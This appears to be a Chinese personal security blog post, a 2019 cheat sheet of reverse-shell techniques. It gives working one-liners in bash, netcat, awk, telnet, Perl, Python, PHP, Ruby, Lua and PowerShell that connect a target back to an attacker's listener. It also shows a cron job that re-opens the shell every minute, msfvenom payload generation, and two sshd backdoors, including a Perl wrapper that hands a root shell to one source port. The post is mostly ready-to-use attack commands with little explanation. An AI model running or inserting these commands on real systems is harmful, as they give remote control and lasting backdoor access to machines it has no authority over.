<!DOCTYPE html>












  


<html class="theme-next muse use-motion" lang="cn">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2"/>
<meta name="theme-color" content="#222">






  
  
    
      
    
    
      
    
  <script src="//cdn.bootcss.com/pace/1.0.2/pace.min.js"></script>
  <link href="//cdn.bootcss.com/pace/1.0.2/themes/blue/pace-theme-flash.min.css" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />



















  
  
  
  

  
    
    
  

  
    
      
    

    
  

  

  
    
      
    

    
  

  
    
      
    

    
  

  
    
    
    <link href="//fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic,700,700italic|Monda:300,300italic,400,400italic,700,700italic|Lobster Two:300,300italic,400,400italic,700,700italic|PT Mono:300,300italic,400,400italic,700,700italic&subset=latin,latin-ext" rel="stylesheet" type="text/css">
  






  

<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=6.4.0" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.4.0">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.4.0">


  <link rel="mask-icon" href="/images/logo.svg?v=6.4.0" color="#222">









<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '6.4.0',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: false,
    fastclick: false,
    lazyload: false,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>


  




  <meta name="description" content="小印圆匀黛色深，私钳纸尾意沉吟，烦君刻画相思去，印入伊人一寸心。—— 仓央嘉措  总结文..">
<meta name="keywords" content="反弹shell,shell">
<meta property="og:type" content="article">
<meta property="og:title" content="反弹shell小记">
<meta property="og:url" content="https://lengjibo.github.io/反弹shell小记/index.html">
<meta property="og:site_name" content="冷逸的个人博客|开往安河桥北~">
<meta property="og:description" content="小印圆匀黛色深，私钳纸尾意沉吟，烦君刻画相思去，印入伊人一寸心。—— 仓央嘉措  总结文..">
<meta property="og:locale" content="cn">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g114146yv5j30mg0b3n0t.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11arjryogj30m604b0uv.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11axuba4pj30lf03nmxz.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11b6r5tubj30m907fdkf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11b7qh1c3j30je0350up.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11bf0tytjj30ou08a405.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11doc9l8bj30ly070dhf.jpg">
<meta property="og:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g11dosmgwgj30q20di7aw.jpg">
<meta property="og:updated_time" content="2019-03-13T11:34:00.000Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="反弹shell小记">
<meta name="twitter:description" content="小印圆匀黛色深，私钳纸尾意沉吟，烦君刻画相思去，印入伊人一寸心。—— 仓央嘉措  总结文..">
<meta name="twitter:image" content="http://ww1.sinaimg.cn/large/0065jC22ly1g114146yv5j30mg0b3n0t.jpg">



  <link rel="alternate" href="/../../.deploy_git/atom.xml" title="冷逸的个人博客|开往安河桥北~" type="application/atom+xml" />




  <link rel="canonical" href="https://lengjibo.github.io/反弹shell小记/"/>



<script type="text/javascript" id="page.configurations">
  CONFIG.page = {
    sidebar: "",
  };
</script>

  <title>反弹shell小记 | 冷逸的个人博客|开往安河桥北~</title>
  









  <noscript>
  <style type="text/css">
    .use-motion .motion-element,
    .use-motion .brand,
    .use-motion .menu-item,
    .sidebar-inner,
    .use-motion .post-block,
    .use-motion .pagination,
    .use-motion .comments,
    .use-motion .post-header,
    .use-motion .post-body,
    .use-motion .collection-title { opacity: initial; }

    .use-motion .logo,
    .use-motion .site-title,
    .use-motion .site-subtitle {
      opacity: initial;
      top: initial;
    }

    .use-motion {
      .logo-line-before i { left: initial; }
      .logo-line-after i { right: initial; }
    }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="cn">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">冷逸的个人博客|开往安河桥北~</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
    
  </div>

  <div class="site-nav-toggle">
    <button aria-label="Toggle navigation bar">
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>



<nav class="site-nav">
  
    <ul id="menu" class="menu">
      
        
        
        
          
          <li class="menu-item menu-item-home">
    <a href="/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-home"></i> <br />Startseite</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-about">
    <a href="/about/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-user"></i> <br />Über</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-tags">
    <a href="/tags/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />Tags</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-categories">
    <a href="/categories/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-th"></i> <br />Kategorien</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-archives">
    <a href="/archives/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />Archiv</a>
  </li>
        
        
        
          
          <li class="menu-item menu-item-book">
    <a href="/book/" rel="section">
      <i class="menu-item-icon fa fa-fw fa-book"></i> <br />book</a>
  </li>

      
      
    </ul>
  

  
    

  

  
</nav>



  



</div>
    </header>

    


    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://lengjibo.github.io/反弹shell小记/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="冷逸">
      <meta itemprop="description" content="做一个温柔的人...">
      <meta itemprop="image" content="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="冷逸的个人博客|开往安河桥北~">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">反弹shell小记
              
            
          </h1>
        

        <div class="post-meta">
        
          <span class="post-time">

            
            
            

            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Veröffentlicht am</span>
              

              
                
              

              <time title="Post created: 2019-03-13 19:31:50 / Updated at: 19:34:00" itemprop="dateCreated datePublished" datetime="2019-03-13T19:31:50+08:00">2019-03-13</time>
            

            
              

              
            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">in</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Web安全/" itemprop="url" rel="index"><span itemprop="name">Web安全</span></a></span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="post-meta-item-icon"
            >
            <i class="fa fa-eye"></i>
             Views:  
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>小印圆匀黛色深，私钳纸尾意沉吟，烦君刻画相思去，印入伊人一寸心。<br>—— 仓央嘉措</p>
<hr>
<p>总结文..</p>
<a id="more"></a>
<h1 id="4-2-反弹shell的N种姿势"><a href="#4-2-反弹shell的N种姿势" class="headerlink" title="4.2 反弹shell的N种姿势"></a>4.2 反弹shell的N种姿势</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>反弹shell</p>
<p>实验环境：</p>
<p>主机A：10.1.1.100<br>主机B：10.1.1.101</p>
<h2 id="bash"><a href="#bash" class="headerlink" title="bash"></a>bash</h2><p>在主机A使用nc监听 ，命令：nc -lvvp 123</p>
<p>在主机B上使用bash直接反弹，命令：bash -i &gt;&amp; /dev/tcp/10.1.1.100/123 0&gt;&amp;1</p>
<p>此时主机A收到shell了</p>
<p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g114146yv5j30mg0b3n0t.jpg" alt=""></p>
<p>下面来解释一下这一条反弹shell的命令首先，bash -i代表在本地打开一个bash，然后就是/dev/tcp/ip/port， /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，&gt;&amp;后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件，也就是传递到远程上，如果远程开启了对应的端口去监听，就会接收到这个bash的标准输出和标准错误输出。</p>
<h3 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h3><pre><code>bash -i &gt;&amp; /dev/tcp/attackerip/attackerport 0&lt;&amp;2
</code></pre><h3 id="方法3"><a href="#方法3" class="headerlink" title="方法3"></a>方法3</h3><pre><code>exec 5&lt;&gt;/dev/tcp/attackerip/attackerport;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done
</code></pre><p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11arjryogj30m604b0uv.jpg" alt=""></p>
<pre><code>0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/attackerip/attackerport; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196
</code></pre><p>与上一个完全相同</p>
<h2 id="nc"><a href="#nc" class="headerlink" title="nc"></a>nc</h2><p>攻击机上执行 </p>
<pre><code>nc -lvvp 1234
</code></pre><p>靶机执行</p>
<pre><code>nc 10.1.1.100 1234 -t -e /bin/bash
</code></pre><p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11axuba4pj30lf03nmxz.jpg" alt=""></p>
<p>没有-e选项时：</p>
<pre><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.1.1.100 2333 &gt;/tmp/f
</code></pre><p>或者</p>
<pre><code>mknod backpipe p; nc 10.1.1.100 2333 0&lt;backpipe | /bin/bash 1&gt;backpipe 2&gt;backpipe
</code></pre><h2 id="msfvenom"><a href="#msfvenom" class="headerlink" title="msfvenom"></a>msfvenom</h2><p>搜索相关payload</p>
<pre><code>msfvenom -l payloads | grep &apos;cmd/unix/reverse&apos;
</code></pre><p>里面自习选择即可，这里以python的为例</p>
<p>命令：</p>
<pre><code>msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234
</code></pre><p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11b6r5tubj30m907fdkf.jpg" alt=""></p>
<p>然后主机A上启动nc进行监听</p>
<p>切换到主机B，在终端输入msfvenom给出的payload</p>
<p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11b7qh1c3j30je0350up.jpg" alt=""></p>
<p>执行即可反弹shell</p>
<h2 id="sshd"><a href="#sshd" class="headerlink" title="sshd"></a>sshd</h2><p>目标机器执行</p>
<pre><code>netstat -tulnp | grep &quot;8080&quot;
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
netstat -tulnp | grep &quot;8080&quot;
</code></pre><p>攻击机执行</p>
<pre><code>ssh root@192.168.1.129 -p 8080      一定要注意在自己本地机器上用这个端口去连
pkill su
</code></pre><p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11bf0tytjj30ou08a405.jpg" alt=""></p>
<h3 id="socat版"><a href="#socat版" class="headerlink" title="socat版"></a>socat版</h3><pre><code>cd /usr/sbin/
mv sshd ../bin/
echo &apos;#!/usr/bin/perl&apos; &gt;sshd
echo &apos;exec &quot;/bin/sh&quot; if (getpeername(STDIN) =~ /^..4A/);&apos; &gt;&gt;sshd
echo &apos;exec {&quot;/usr/bin/sshd&quot;} &quot;/usr/sbin/sshd&quot;,@ARGV,&apos; &gt;&gt;sshd
chmod u+x sshd
/etc/init.d/sshd restart
</code></pre><p>攻击机执行：</p>
<pre><code>socat STDIO TCP4:10.1.1.101:22,sourceport=13377
</code></pre><h2 id="awk"><a href="#awk" class="headerlink" title="awk"></a>awk</h2><p>目标机执行</p>
<pre><code>awk &apos;BEGIN{s=&quot;/inet/tcp/0/192.168.1.128/8080&quot;;for(;s|&amp;getline c;close(c))while(c|getline)print|&amp;s;close(s)}&apos;
</code></pre><p>攻击机nc监听即可</p>
<h2 id="telnet"><a href="#telnet" class="headerlink" title="telnet"></a>telnet</h2><h3 id="第一种"><a href="#第一种" class="headerlink" title="第一种"></a>第一种</h3><pre><code>C:\&gt;nc -vlp 1080   命令结果显示窗口
C:\&gt;nc -lvp 6666  命令传输窗口
# telnet 10.1.1.101 6666 | /bin/bash | telnet 10.1.1.101 1080
</code></pre><p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11doc9l8bj30ly070dhf.jpg" alt=""></p>
<p><img src="http://ww1.sinaimg.cn/large/0065jC22ly1g11dosmgwgj30q20di7aw.jpg" alt=""></p>
<h3 id="第二种"><a href="#第二种" class="headerlink" title="第二种"></a>第二种</h3><pre><code>C:\&gt;nc -lvp 8080
# mknod test p &amp;&amp; telnet 10.1.1.101 8080 0&lt;test | /bin/bash 1&gt;test
</code></pre><h2 id="各类语言"><a href="#各类语言" class="headerlink" title="各类语言"></a>各类语言</h2><h3 id="perl"><a href="#perl" class="headerlink" title="perl"></a>perl</h3><pre><code>C:\&gt;nc -lvp 53
# perl -e &apos;use Socket;$i=&quot;10.1.1.101&quot;;$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/bash -i&quot;);};&apos;
</code></pre><h3 id="python"><a href="#python" class="headerlink" title="python"></a>python</h3><pre><code>C:\&gt;nc -lvp 8080
# python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.1.1.101&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&apos;
</code></pre><h3 id="crontab"><a href="#crontab" class="headerlink" title="crontab"></a>crontab</h3><pre><code>C:\&gt;nc -lvp 8080
# (crontab -l;printf &quot;* * * * *  /usr/bin/python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&quot;10.1.1.101\&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&quot;/bin/sh\&quot;,\&quot;-i\&quot;]);&apos;\n&quot;)|crontab -
# crontab -e
</code></pre><h3 id="php"><a href="#php" class="headerlink" title="php"></a>php</h3><pre><code>C:\&gt;nc -lvp 8080
# /usr/local/php/bin/php -r &apos;$sock=fsockopen(&quot;10.1.1.101&quot;,8080);exec(&quot;/bin/bash -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&apos;
</code></pre><h3 id="ruby"><a href="#ruby" class="headerlink" title="ruby"></a>ruby</h3><pre><code>C:\&gt;nc -lvp 8080
# ruby -rsocket -e &apos;exit if fork;c=TCPSocket.new(&quot;192.168.1.128&quot;,&quot;8080&quot;);while(cmd=c.gets);IO.popen(cmd,&quot;r&quot;){|io|c.print io.read}end&apos;
</code></pre><h3 id="lua"><a href="#lua" class="headerlink" title="lua"></a>lua</h3><pre><code>c:\nc -lvp 8080
# apt-get install lua50 -y
# apt-get install luarocks -y
# luarocks install luasocket
# lua -e &quot;require(&apos;socket&apos;);require(&apos;os&apos;);t=socket.tcp();t:connect(&apos;10.1.1.101&apos;,&apos;8080&apos;);os.execute(&apos;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&apos;);&quot;
</code></pre><h2 id="协议"><a href="#协议" class="headerlink" title="协议"></a>协议</h2><h3 id="icmp"><a href="#icmp" class="headerlink" title="icmp"></a>icmp</h3><pre><code># make linux
# ./ishd -i 6555 -t 0 -p 8080
# ./ish -i 6555 -t 0 -p 8080 10.1.1.101[这里的ip可以换成域名]
</code></pre><h3 id="udp"><a href="#udp" class="headerlink" title="udp"></a>udp</h3><pre><code>C:\&gt;nc -l -p 53 -u     注意这里务必要用udp的模式来接
# python udpshell.py 10.1.1.101 53 udp
</code></pre><h2 id="powershell"><a href="#powershell" class="headerlink" title="powershell"></a>powershell</h2><pre><code>C:\&gt;nc -lvp 8080

# powershell –exec bypass –Command &quot;&amp; {Import-Module &apos;C:\mini-reverse.ps1&apos;}&quot;

PS C:\&gt; Set-ExecutionPolicy Unrestricted
PS C:\&gt; cd .\powercat
PS C:\powercat&gt; Import-Module .\powercat.ps1
PS C:\powercat&gt; powercat -c ip -p 8080 -e cmd -g &gt;&gt; payload.ps1
C:\&gt;nc -lvp 8080

powershell –exec bypass –Command &quot;&amp; {Import-Module &apos;C:\payload.ps1&apos;}&quot;
</code></pre><h2 id="基础链接"><a href="#基础链接" class="headerlink" title="基础链接"></a>基础链接</h2><p><a href="https://xz.aliyun.com/t/2548" target="_blank" rel="noopener">https://xz.aliyun.com/t/2548</a></p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/反弹shell小记/">反弹shell小记</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2019年03月13日 - 19:03</p>
  <p><span>最后更新:</span>2019年03月13日 - 19:03</p>
  <p><span>原始链接:</span><a href="/反弹shell小记/" title="反弹shell小记">https://lengjibo.github.io/反弹shell小记/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/反弹shell小记/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/反弹shell/" rel="tag"><i class="fa fa-tag"></i> 反弹shell</a>
          
            <a href="/tags/shell/" rel="tag"><i class="fa fa-tag"></i> shell</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/sqllabs通关笔记/" rel="next" title="sqllabs通关笔记">
                <i class="fa fa-chevron-left"></i> sqllabs通关笔记
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/浅谈rdp协议攻击/" rel="prev" title="浅谈rdp协议攻击">
                浅谈rdp协议攻击 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
